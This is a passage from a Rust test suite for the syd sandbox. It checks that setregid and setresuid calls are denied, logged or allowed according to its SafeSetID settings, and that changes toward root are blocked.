        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setregid", ["-1", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setregid_nobody_safesetid_deny_2() -> TestResult {
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setregid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setregid", ["65534", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setregid_nobody_safesetid_deny_3() -> TestResult {
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setregid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setregid", ["65534", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setregid_root_safesetid_deny_1() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setregid success.

    // SAFETY: Compared to the test setregid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setregid", ["-1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setregid_root_safesetid_deny_2() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setregid success.

    // SAFETY: Compared to the test setregid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setregid", ["1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setregid_root_safesetid_deny_3() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with Errno=0 with GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setregid success.

    // SAFETY: Compared to the test setregid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setregid", ["1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setregid_nobody_safesetid_allow_1() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setregid", ["-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setregid_nobody_safesetid_allow_2() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setregid", ["65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setregid_nobody_safesetid_allow_3() -> TestResult {
    skip_unless_cap!("setgid");

    // SafeSetID is enabled with GID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .m(format!("setgid+{uid}:nobody"))
        .do_("setregid", ["65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setresuid_nobody_default_1() -> TestResult {
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresuid", ["-1", "-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresuid_nobody_default_2() -> TestResult {
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresuid", ["-1", "65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresuid_nobody_default_3() -> TestResult {
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresuid", ["65534", "-1", "-1"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresuid_nobody_default_4() -> TestResult {
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresuid", ["-1", "65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresuid_nobody_default_5() -> TestResult {
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresuid", ["65534", "65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresuid_nobody_default_6() -> TestResult {
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresuid", ["65534", "-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresuid_nobody_default_7() -> TestResult {
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresuid", ["65534", "65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_deny_1() -> TestResult {
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setresuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["-1", "-1", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_deny_2() -> TestResult {
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setresuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["-1", "65534", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_deny_3() -> TestResult {
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setresuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["65534", "-1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_deny_4() -> TestResult {
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setresuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["-1", "65534", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_deny_5() -> TestResult {
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setresuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["65534", "65534", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_deny_6() -> TestResult {
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setresuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["65534", "-1", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_deny_7() -> TestResult {
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setresuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["65534", "65534", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresuid_root_safesetid_deny_1() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setresuid success.

    // SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["-1", "-1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresuid_root_safesetid_deny_2() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setresuid success.

    // SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setreuid", ["-1", "1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresuid_root_safesetid_deny_3() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setresuid success.

    // SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["1", "-1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresuid_root_safesetid_deny_4() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setresuid success.

    // SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["-1", "1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresuid_root_safesetid_deny_5() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setresuid success.

    // SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["1", "1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_setresuid_root_safesetid_deny_6() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setresuid success.

    // SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["1", "-1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let mut reader = BufReader::new(file);

    let mut buffer = String::new();
    match reader.read_to_string(&mut buffer) {
        Ok(0) => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        Ok(_) => {
            // If any data was read, log it
            eprint!("Access violation logged:\n{buffer}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
        Err(e) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
